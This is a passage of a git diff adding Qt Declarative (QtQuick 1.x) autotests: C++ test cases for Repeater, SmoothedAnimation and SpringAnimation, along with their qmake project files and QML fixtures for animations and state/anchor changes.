+ QCOMPARE(delegateSpy.count(),1);
+
+ delete rootObject;
+}
+
+void tst_QDeclarativeRepeater::testQtQuick11Attributes()
+{
+ QFETCH(QString, code);
+ QFETCH(QString, warning);
+ QFETCH(QString, error);
+
+ QDeclarativeEngine engine;
+ QObject *obj;
+
+ QDeclarativeComponent invalid(&engine);
+ invalid.setData("import QtQuick 1.0; Repeater { " + code.toUtf8() + " }", QUrl(""));
+ QTest::ignoreMessage(QtWarningMsg, warning.toUtf8());
+ obj = invalid.create();
+ QCOMPARE(invalid.errorString(), error);
+ delete obj;
+
+ QDeclarativeComponent valid(&engine);
+ valid.setData("import QtQuick 1.1; Repeater { " + code.toUtf8() + " }", QUrl(""));
+ obj = valid.create();
+ QVERIFY(obj);
+ QVERIFY(valid.errorString().isEmpty());
+ delete obj;
+}
+
+void tst_QDeclarativeRepeater::testQtQuick11Attributes_data()
+{
+ QTest::addColumn<QString>("code");
+ QTest::addColumn<QString>("warning");
+ QTest::addColumn<QString>("error");
+
+ QTest::newRow("itemAdded") << "onItemAdded: count"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Repeater.onItemAdded\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("itemRemoved") << "onItemRemoved: count"
+ << "QDeclarativeComponent: Component is not ready"
+ << ":1 \"Repeater.onItemRemoved\" is not available in QtQuick 1.0.\n";
+
+ QTest::newRow("itemAt") << "Component.onCompleted: itemAt(0)"
+ << "<Unknown File>:1: ReferenceError: Can't find variable: itemAt"
+ << "";
+}
+
+
+QDeclarativeView *tst_QDeclarativeRepeater::createView()
+{
+ QDeclarativeView *canvas = new QDeclarativeView(0);
+ canvas->setFixedSize(240,320);
+
+ return canvas;
+}
+
+template<typename T>
+T *tst_QDeclarativeRepeater::findItem(QGraphicsObject *parent, const QString &objectName, int index)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ //qDebug() << parent->childItems().count() << "children";
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *item = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if(!item)
+ continue;
+ //qDebug() << "try" << item;
+ if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) {
+ if (index != -1) {
+ QDeclarativeExpression e(qmlContext(item), item, "index");
+ if (e.evaluate().toInt() == index)
+ return static_cast<T*>(item);
+ } else {
+ return static_cast<T*>(item);
+ }
+ }
+ item = findItem<T>(item, objectName, index);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+template<typename T>
+T *tst_QDeclarativeRepeater::findItem(QGraphicsObject *parent, const QString &objectName)
+{
+ const QMetaObject &mo = T::staticMetaObject;
+ if (mo.cast(parent) && (objectName.isEmpty() || parent->objectName() == objectName))
+ return static_cast<T*>(parent);
+ for (int i = 0; i < parent->childItems().count(); ++i) {
+ QDeclarativeItem *child = qobject_cast<QDeclarativeItem*>(parent->childItems().at(i));
+ if (!child)
+ continue;
+ QDeclarativeItem *item = findItem<T>(child, objectName);
+ if (item)
+ return static_cast<T*>(item);
+ }
+
+ return 0;
+}
+
+QTEST_MAIN(tst_QDeclarativeRepeater)
+
+#include "tst_qdeclarativerepeater.moc"
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml
new file mode 100644
index 00000000..3a2c4e38
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation1.qml
@@ -0,0 +1,3 @@
+import QtQuick 1.0
+
+SmoothedAnimation {}
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml
new file mode 100644
index 00000000..47935d48
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation2.qml
@@ -0,0 +1,5 @@
+import QtQuick 1.0
+
+SmoothedAnimation {
+ to: 10; duration: 300; reversingMode: SmoothedAnimation.Immediate
+}
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml
new file mode 100644
index 00000000..fe44cce1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimation3.qml
@@ -0,0 +1,6 @@
+import QtQuick 1.0
+
+SmoothedAnimation {
+ to: 10; velocity: 250; reversingMode: SmoothedAnimation.Sync
+ maximumEasingTime: 150
+}
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml
new file mode 100644
index 00000000..65611227
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationBehavior.qml
@@ -0,0 +1,24 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 400; color: "blue"
+
+ Rectangle {
+ id: rect1
+ color: "red"
+ width: 60; height: 60;
+ x: 100; y: 100;
+ SmoothedAnimation on x { to: 200; velocity: 500 }
+ SmoothedAnimation on y { to: 200; velocity: 500 }
+ }
+
+ Rectangle {
+ objectName: "theRect"
+ color: "green"
+ width: 60; height: 60;
+ x: rect1.x; y: rect1.y;
+ // id are needed for SmoothedAnimation in order to avoid deferred creation
+ Behavior on x { SmoothedAnimation { id: anim1; objectName: "easeX"; velocity: 400 } }
+ Behavior on y { SmoothedAnimation { id: anim2; objectName: "easeY"; velocity: 400 } }
+ }
+ }
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml
new file mode 100644
index 00000000..5036d5f2
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/data/smoothedanimationValueSource.qml
@@ -0,0 +1,13 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 300; height: 300;
+ Rectangle {
+ objectName: "theRect"
+ color: "red"
+ width: 60; height: 60;
+ x: 100; y: 100;
+ SmoothedAnimation on x { objectName: "easeX"; to: 200; velocity: 500 }
+ SmoothedAnimation on y { objectName: "easeY"; to: 200; duration: 250; velocity: 500 }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro b/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro
new file mode 100644
index 00000000..1e77d6eb
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/qdeclarativesmoothedanimation.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativesmoothedanimation.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp b/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp
new file mode 100644
index 00000000..c779c8f8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativesmoothedanimation/tst_qdeclarativesmoothedanimation.cpp
@@ -0,0 +1,212 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativesmoothedanimation_p.h>
+#include <private/qdeclarativerectangle_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativesmoothedanimation : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativesmoothedanimation();
+
+private slots:
+ void defaultValues();
+ void values();
+ void disabled();
+ void simpleAnimation();
+ void valueSource();
+ void behavior();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativesmoothedanimation::tst_qdeclarativesmoothedanimation()
+{
+}
+
+void tst_qdeclarativesmoothedanimation::defaultValues()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation1.qml"));
+ QDeclarativeSmoothedAnimation *obj = qobject_cast<QDeclarativeSmoothedAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 0.);
+ QCOMPARE(obj->velocity(), 200.);
+ QCOMPARE(obj->duration(), -1);
+ QCOMPARE(obj->maximumEasingTime(), -1);
+ QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Eased);
+
+ delete obj;
+}
+
+void tst_qdeclarativesmoothedanimation::values()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation2.qml"));
+ QDeclarativeSmoothedAnimation *obj = qobject_cast<QDeclarativeSmoothedAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 10.);
+ QCOMPARE(obj->velocity(), 200.);
+ QCOMPARE(obj->duration(), 300);
+ QCOMPARE(obj->maximumEasingTime(), -1);
+ QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Immediate);
+
+ delete obj;
+}
+
+void tst_qdeclarativesmoothedanimation::disabled()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimation3.qml"));
+ QDeclarativeSmoothedAnimation *obj = qobject_cast<QDeclarativeSmoothedAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 10.);
+ QCOMPARE(obj->velocity(), 250.);
+ QCOMPARE(obj->maximumEasingTime(), 150);
+ QCOMPARE(obj->reversingMode(), QDeclarativeSmoothedAnimation::Sync);
+
+ delete obj;
+}
+
+void tst_qdeclarativesmoothedanimation::simpleAnimation()
+{
+ QDeclarativeRectangle rect;
+ QDeclarativeSmoothedAnimation animation;
+ animation.setTarget(&rect);
+ animation.setProperty("x");
+ animation.setTo(200);
+ animation.setDuration(250);
+ QVERIFY(animation.target() == &rect);
+ QVERIFY(animation.property() == "x");
+ QVERIFY(animation.to() == 200);
+ animation.start();
+ QVERIFY(animation.isRunning());
+ QTest::qWait(animation.duration());
+ QTRY_COMPARE(rect.x(), qreal(200));
+
+ rect.setX(0);
+ animation.start();
+ animation.pause();
+ QVERIFY(animation.isRunning());
+ QVERIFY(animation.isPaused());
+ animation.setCurrentTime(125);
+ QVERIFY(animation.currentTime() == 125);
+ QCOMPARE(rect.x(), qreal(100));
+}
+
+void tst_qdeclarativesmoothedanimation::valueSource()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationValueSource.qml"));
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *theRect = rect->findChild<QDeclarativeRectangle*>("theRect");
+ QVERIFY(theRect);
+
+ QDeclarativeSmoothedAnimation *easeX = rect->findChild<QDeclarativeSmoothedAnimation*>("easeX");
+ QVERIFY(easeX);
+ QVERIFY(easeX->isRunning());
+
+ QDeclarativeSmoothedAnimation *easeY = rect->findChild<QDeclarativeSmoothedAnimation*>("easeY");
+ QVERIFY(easeY);
+ QVERIFY(easeY->isRunning());
+
+ // XXX get the proper duration
+ QTest::qWait(100);
+
+ QTRY_VERIFY(!easeX->isRunning());
+ QTRY_VERIFY(!easeY->isRunning());
+
+ QTRY_COMPARE(theRect->x(), qreal(200));
+ QTRY_COMPARE(theRect->y(), qreal(200));
+}
+
+void tst_qdeclarativesmoothedanimation::behavior()
+{
+ QDeclarativeEngine engine;
+
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/smoothedanimationBehavior.qml"));
+
+ QDeclarativeRectangle *rect = qobject_cast<QDeclarativeRectangle*>(c.create());
+ QVERIFY(rect);
+
+ QDeclarativeRectangle *theRect = rect->findChild<QDeclarativeRectangle*>("theRect");
+ QVERIFY(theRect);
+
+ QDeclarativeSmoothedAnimation *easeX = rect->findChild<QDeclarativeSmoothedAnimation*>("easeX");
+ QVERIFY(easeX);
+
+ QDeclarativeSmoothedAnimation *easeY = rect->findChild<QDeclarativeSmoothedAnimation*>("easeY");
+ QVERIFY(easeY);
+
+ // XXX get the proper duration
+ QTest::qWait(400);
+
+ QTRY_VERIFY(!easeX->isRunning());
+ QTRY_VERIFY(!easeY->isRunning());
+
+ QTRY_COMPARE(theRect->x(), qreal(200));
+ QTRY_COMPARE(theRect->y(), qreal(200));
+}
+
+QTEST_MAIN(tst_qdeclarativesmoothedanimation)
+
+#include "tst_qdeclarativesmoothedanimation.moc"
diff --git a/tests/auto/declarative/qdeclarativespringanimation/data/springanimation1.qml b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation1.qml
new file mode 100644
index 00000000..8890a78f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation1.qml
@@ -0,0 +1,4 @@
+import QtQuick 1.0
+
+SpringAnimation {
+}
diff --git a/tests/auto/declarative/qdeclarativespringanimation/data/springanimation2.qml b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation2.qml
new file mode 100644
index 00000000..de75bb06
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation2.qml
@@ -0,0 +1,9 @@
+import QtQuick 1.0
+
+SpringAnimation {
+ to: 1.44; velocity: 0.9
+ spring: 1.0; damping: 0.5
+ epsilon: 0.25; modulus: 360.0
+ mass: 2.0;
+ running: true;
+}
diff --git a/tests/auto/declarative/qdeclarativespringanimation/data/springanimation3.qml b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation3.qml
new file mode 100644
index 00000000..b68d769f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativespringanimation/data/springanimation3.qml
@@ -0,0 +1,8 @@
+import QtQuick 1.0
+
+SpringAnimation {
+ to: 1.44; velocity: 0.9
+ spring: 1.0; damping: 0.5
+ epsilon: 0.25; modulus: 360.0
+ mass: 2.0; running: false
+}
diff --git a/tests/auto/declarative/qdeclarativespringanimation/qdeclarativespringanimation.pro b/tests/auto/declarative/qdeclarativespringanimation/qdeclarativespringanimation.pro
new file mode 100644
index 00000000..da477fce
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativespringanimation/qdeclarativespringanimation.pro
@@ -0,0 +1,16 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative gui
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativespringanimation.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
+
diff --git a/tests/auto/declarative/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp b/tests/auto/declarative/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp
new file mode 100644
index 00000000..d97705af
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativespringanimation/tst_qdeclarativespringanimation.cpp
@@ -0,0 +1,136 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <qtest.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativecomponent.h>
+#include <private/qdeclarativespringanimation_p.h>
+#include <private/qdeclarativevaluetype_p.h>
+#include "../../../shared/util.h"
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+class tst_qdeclarativespringanimation : public QObject
+{
+ Q_OBJECT
+public:
+ tst_qdeclarativespringanimation();
+
+private slots:
+ void defaultValues();
+ void values();
+ void disabled();
+
+private:
+ QDeclarativeEngine engine;
+};
+
+tst_qdeclarativespringanimation::tst_qdeclarativespringanimation()
+{
+}
+
+void tst_qdeclarativespringanimation::defaultValues()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation1.qml"));
+ QDeclarativeSpringAnimation *obj = qobject_cast<QDeclarativeSpringAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 0.);
+ QCOMPARE(obj->velocity(), 0.);
+ QCOMPARE(obj->spring(), 0.);
+ QCOMPARE(obj->damping(), 0.);
+ QCOMPARE(obj->epsilon(), 0.01);
+ QCOMPARE(obj->modulus(), 0.);
+ QCOMPARE(obj->mass(), 1.);
+ QCOMPARE(obj->isRunning(), false);
+
+ delete obj;
+}
+
+void tst_qdeclarativespringanimation::values()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation2.qml"));
+ QDeclarativeSpringAnimation *obj = qobject_cast<QDeclarativeSpringAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 1.44);
+ QCOMPARE(obj->velocity(), 0.9);
+ QCOMPARE(obj->spring(), 1.0);
+ QCOMPARE(obj->damping(), 0.5);
+ QCOMPARE(obj->epsilon(), 0.25);
+ QCOMPARE(obj->modulus(), 360.0);
+ QCOMPARE(obj->mass(), 2.0);
+ QCOMPARE(obj->isRunning(), true);
+
+ QTRY_COMPARE(obj->isRunning(), false);
+
+ delete obj;
+}
+
+void tst_qdeclarativespringanimation::disabled()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/springanimation3.qml"));
+ QDeclarativeSpringAnimation *obj = qobject_cast<QDeclarativeSpringAnimation*>(c.create());
+
+ QVERIFY(obj != 0);
+
+ QCOMPARE(obj->to(), 1.44);
+ QCOMPARE(obj->velocity(), 0.9);
+ QCOMPARE(obj->spring(), 1.0);
+ QCOMPARE(obj->damping(), 0.5);
+ QCOMPARE(obj->epsilon(), 0.25);
+ QCOMPARE(obj->modulus(), 360.0);
+ QCOMPARE(obj->mass(), 2.0);
+ QCOMPARE(obj->isRunning(), false);
+
+ delete obj;
+}
+
+QTEST_MAIN(tst_qdeclarativespringanimation)
+
+#include "tst_qdeclarativespringanimation.moc"
diff --git a/tests/auto/declarative/qdeclarativestates/data/ExtendedRectangle.qml b/tests/auto/declarative/qdeclarativestates/data/ExtendedRectangle.qml
new file mode 100644
index 00000000..d91f5044
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/ExtendedRectangle.qml
@@ -0,0 +1,19 @@
+import QtQuick 1.0
+Rectangle {
+ id: extendedRect
+ objectName: "extendedRect"
+ property color extendedColor: "orange"
+
+ width: 100; height: 100
+ color: "red"
+ states: State {
+ name: "green"
+ PropertyChanges {
+ target: rect
+ onDidSomething: {
+ extendedRect.color = "green"
+ extendedColor = "green"
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/Implementation/MyType.qml b/tests/auto/declarative/qdeclarativestates/data/Implementation/MyType.qml
new file mode 100644
index 00000000..6ad3b4a6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/Implementation/MyType.qml
@@ -0,0 +1,32 @@
+import QtQuick 1.0
+
+Item {
+ Column {
+ anchors.centerIn: parent
+ Image { id: image1; objectName: "image1" }
+ Image { id: image2; objectName: "image2" }
+ Image { id: image3; objectName: "image3" }
+ }
+
+ states: State {
+ name: "SetImageState"
+ PropertyChanges {
+ target: image1
+ source: "images/qt-logo.png"
+ }
+ PropertyChanges {
+ target: image2
+ source: "images/" + "qt-logo.png"
+ }
+ PropertyChanges {
+ target: image3
+ source: "images/" + (true ? "qt-logo.png" : "")
+ }
+ }
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state = "SetImageState"
+ }
+
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/Implementation/images/qt-logo.png b/tests/auto/declarative/qdeclarativestates/data/Implementation/images/qt-logo.png
new file mode 100644
index 00000000..14ddf2a0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/Implementation/images/qt-logo.png
Binary files differ
diff --git a/tests/auto/declarative/qdeclarativestates/data/QTBUG-14830.qml b/tests/auto/declarative/qdeclarativestates/data/QTBUG-14830.qml
new file mode 100644
index 00000000..7f9ddbfa
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/QTBUG-14830.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 1024
+ height: 768
+
+ Item {
+ id: area
+ objectName: "area"
+ property int numx: 6
+ property int cellwidth: 1024/numx
+
+ onWidthChanged: {
+ width = width>1024?1024:width;
+ }
+
+ state: 'minimal'
+ states: [
+ State {
+ name: 'minimal'
+ PropertyChanges {
+ target: area
+ width: cellwidth
+ }
+ }
+ ]
+
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml
new file mode 100644
index 00000000..fad27080
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges1.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ width: 50; height: 50
+ color: "green";
+ anchors.left: parent.left
+ anchors.leftMargin: 5
+ }
+ states: State {
+ name: "right"
+ AnchorChanges {
+ id: ancCh
+ target: myRect;
+ anchors.left: undefined
+ anchors.right: container.right
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml
new file mode 100644
index 00000000..e1d4d66a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges2.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ width: 50; height: 50
+ color: "green";
+ anchors.left: parent.left
+ anchors.leftMargin: 5
+ }
+ states: State {
+ name: "right"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: undefined
+ anchors.right: parent.right
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml
new file mode 100644
index 00000000..116b8444
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges3.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "green";
+ anchors.left: parent.left
+ anchors.right: rightGuideline.left
+ anchors.top: topGuideline.top
+ anchors.bottom: container.bottom
+ }
+ Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 }
+ Item { id: rightGuideline; x: 150 }
+ Item { id: topGuideline; y: 10 }
+ Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 }
+ states: State {
+ name: "reanchored"
+ AnchorChanges {
+ target: myRect;
+ anchors.left: leftGuideline.left
+ anchors.right: container.right
+ anchors.top: container.top
+ anchors.bottom: bottomGuideline.bottom
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml
new file mode 100644
index 00000000..eaff3734
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges4.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "green";
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.verticalCenter: parent.verticalCenter
+ }
+ Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 }
+ Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 }
+ states: State {
+ name: "reanchored"
+ AnchorChanges {
+ target: myRect;
+ anchors.horizontalCenter: bottomGuideline.horizontalCenter
+ anchors.verticalCenter: leftGuideline.verticalCenter
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml
new file mode 100644
index 00000000..ea7b2511
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChanges5.qml
@@ -0,0 +1,22 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 200; height: 200
+ Rectangle {
+ id: myRect
+ objectName: "MyRect"
+ color: "green";
+ anchors.horizontalCenter: parent.horizontalCenter
+ anchors.baseline: parent.baseline
+ }
+ Item { objectName: "LeftGuideline"; id: leftGuideline; x: 10 }
+ Item { objectName: "BottomGuideline"; id: bottomGuideline; y: 150 }
+ states: State {
+ name: "reanchored"
+ AnchorChanges {
+ target: myRect;
+ anchors.horizontalCenter: bottomGuideline.horizontalCenter
+ anchors.baseline: leftGuideline.baseline
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorChangesCrash.qml b/tests/auto/declarative/qdeclarativestates/data/anchorChangesCrash.qml
new file mode 100644
index 00000000..ca96da88
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorChangesCrash.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ width: 400
+ height: 400
+
+ states: State {
+ name: "reanchored"
+ AnchorChanges {
+ anchors.top: container.top
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml
new file mode 100644
index 00000000..6277111e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug.qml
@@ -0,0 +1,37 @@
+import QtQuick 1.0
+Rectangle {
+ id: container
+ color: "red"
+ height: 200
+ width: 200
+ Column {
+ id: column
+ objectName: "column"
+ anchors.left: container.right
+ anchors.bottom: container.bottom
+
+ Rectangle {
+ id: rectangle
+ color: "blue"
+ height: 100
+ width: 200
+ }
+ Rectangle {
+ color: "blue"
+ height: 100
+ width: 200
+ }
+ }
+ states: State {
+ name: "reanchored"
+ AnchorChanges {
+ target: column
+ anchors.left: undefined
+ anchors.right: container.right
+ }
+ PropertyChanges {
+ target: rectangle
+ opacity: 0
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug2.qml b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug2.qml
new file mode 100644
index 00000000..d8b02e9b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativestates/data/anchorRewindBug2.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ width:200; height:300
+
+ Rectangle {
+ id: rectangle
+ objectName: "mover"
+ color: "green"
+ width:50; height:50
+ }
+
+ states: [
+ State {
